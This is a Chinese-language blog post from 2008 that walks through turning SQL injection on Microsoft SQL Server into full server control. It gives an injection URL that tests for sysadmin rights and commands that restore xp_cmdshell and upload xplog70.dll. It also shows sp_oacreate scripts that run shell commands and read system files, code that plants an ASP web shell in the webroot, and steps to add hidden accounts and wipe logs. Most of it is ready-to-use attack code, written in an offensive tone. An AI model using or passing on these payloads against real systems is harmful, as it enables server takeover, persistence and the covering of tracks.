利用Xp_Cmdshell取得伺服器的管理權,很可怕的SQL隱碼攻擊

lee576發表於2008-07-17
在MSSQL中具有sysadmin許可權的使用者可以通過xp_cmdshell儲存擴充套件以system的許可權執行任意系統命令,因此大多數對安全比較重視的管理員都會將它刪除,即使沒有刪除也有可能會由於獲得的許可權不足而前功盡棄。因此獲得了xp_cmdshell的執行許可權也就成了大多數SQL Injection攻擊方法的終極目標。我給大家介紹一下在此過程中涉及到的幾個關鍵問題及其解決方法。權當是拋磚引玉。
獲取當前使用者許可權
在MSSQL中一共存在8種許可權:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。每一個許可權具有不同的作用,同時也決定了我們的成敗。在這8種許可權中只有sysadmin才是我們真正想要得,因此只需要提交
http://somesite/show.asp?id=4864 and 1=(select IS_SRVROLEMEMBER(’sysadmin’))
來判斷當前使用者是否具有sysadmin許可權。如果返回正常的話那就恭喜了,今天足彩肯定中獎!否則的話(誰拿雞蛋扔我了^_^)我們還有其他的方法可以用呢。
破解sa賬號的弱口令
這種方法應該不屬於SQL Injection的範疇,但在我們的整個滲透過程中往往會起到決定性的作用。好了,閒話少說,開啟我最常用SQLScanPass,將主機IP及埠1433寫入SQLHost.Txt檔案中,先測試一下空口令,如果沒成功的話,就掛一個好用的字典,成功的機率便會大大增加。執行介面如圖所示

現在我們可以沏上一杯咖啡慢慢的享受,慢慢的等待了。
判斷儲存擴充套件檢測
  如果當前網站使用者使用的就是sysadmin許可權,就可以利用愁要飯的方法進行儲存擴充套件的檢測及恢復,這樣會容易很多。如果是獲得sa或其他賬號弱口令的話,剩下的任務就可以交給SQLTools.exe了。這個程式是由藍色光芒編寫,其功能強大的難以想象。但是除了執行資料庫命令以外都需要一定的儲存擴充套件支援,因此首先要判斷這些儲存擴充套件是否存在。從"利用目錄"選單中開啟執行資料庫命令視窗,填入我們要執行的命令。例如
select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
用於判斷是否存在xp_cmdshell儲存擴充套件,執行介面如圖所示

如果返回結果為1的話我們就可以使用選單中的"執行DOS命令"選項了。否則的話就要往下看了。
恢復xp_cmdshell,抓住肉雞
直接在資料庫命令執行視窗寫入
Exec master.dbo.addextendedproc ’xp_cmdshell’, ’xplog70.dll’; select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
如果返回1的話就說明恢復成功,否則的話就需要我們給他上傳一個xplog70.dll檔案。
開啟檔案上傳的視窗將檔案上傳到C:/WinNt/System32/下後執行資料庫命令
Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:/WinNt/System32/xplog70.dll’。
OK,剩下的就是我們日常使用的net use和net localgroup命令了,為伺服器新增一個隱藏的賬號,清理好IIS日誌和MSSQL日誌閃人。
繞過xp_cmdshell執行系統命令
在MSSQL中可以通過sp_oacreate 和sp_oamethod 兩個儲存擴充套件建立ActiveX自動指令碼。因此執行系統命令的語句可以寫成:
declare @o int 
exec sp_oacreate ’wscript.shell’, @o out 
exec sp_oamethod @o, ’run’, NULL, ’net start telnet’
他的作用是在伺服器端通過wscript.shell執行net start telnet,從而開啟伺服器的telnet服務。
你一定會想到FSO了!對,我們也可以通過它進行檔案的管理,例如:
declare @o int, @f int, @t int, @ret int ,@c varchar(8000)
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:/boot.ini’, 1 
exec @ret = sp_oamethod @f, ’readline’, @line out
select @c=’’
while( @ret = 0) 
begin 
select @c=@c+@line+char(13)+char(10)
exec @ret = sp_oamethod @f, ’readline’, @line out 
end
可以讀取c:/boot.ini檔案中的內容並儲存在區域性變數@c中。如果想讀出來,只需要建立一個臨時表寫入就可以了。
用這種方法也可以建立檔案,並寫入資料,例如:
declare @o int, @f int, @t int, @ret int 
exec sp_oacreate ’scripting.filesystemobject’, @o out 
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:/inetpub/wwwroot/foo.asp’, 1 
exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% set o = server.createobject("wscript.shell"): o.run("cmd.exe /c "&request.querystring("cmd")) %>’
在c:/inetpub/wwwroot/foo.asp建立了一個只有兩行程式碼的asp木馬。這種方法避免了使用備份所帶來的大量無用資料和使用sp_makewebtask儲存擴充套件所帶來的建立臨時表的麻煩。這可是居家旅行,殺人硬碟的必備工具阿!
總論
MSSQL為我們提供了異常豐富的儲存擴充套件庫,可以完成作業系統所能完成的大部分重要的功能,例如登錄檔管理、檔案管理、使用者管理、許可權管理等。但是如果沒有足夠的安全防範意識,就會給伺服器帶來致命性的威脅。 

相關文章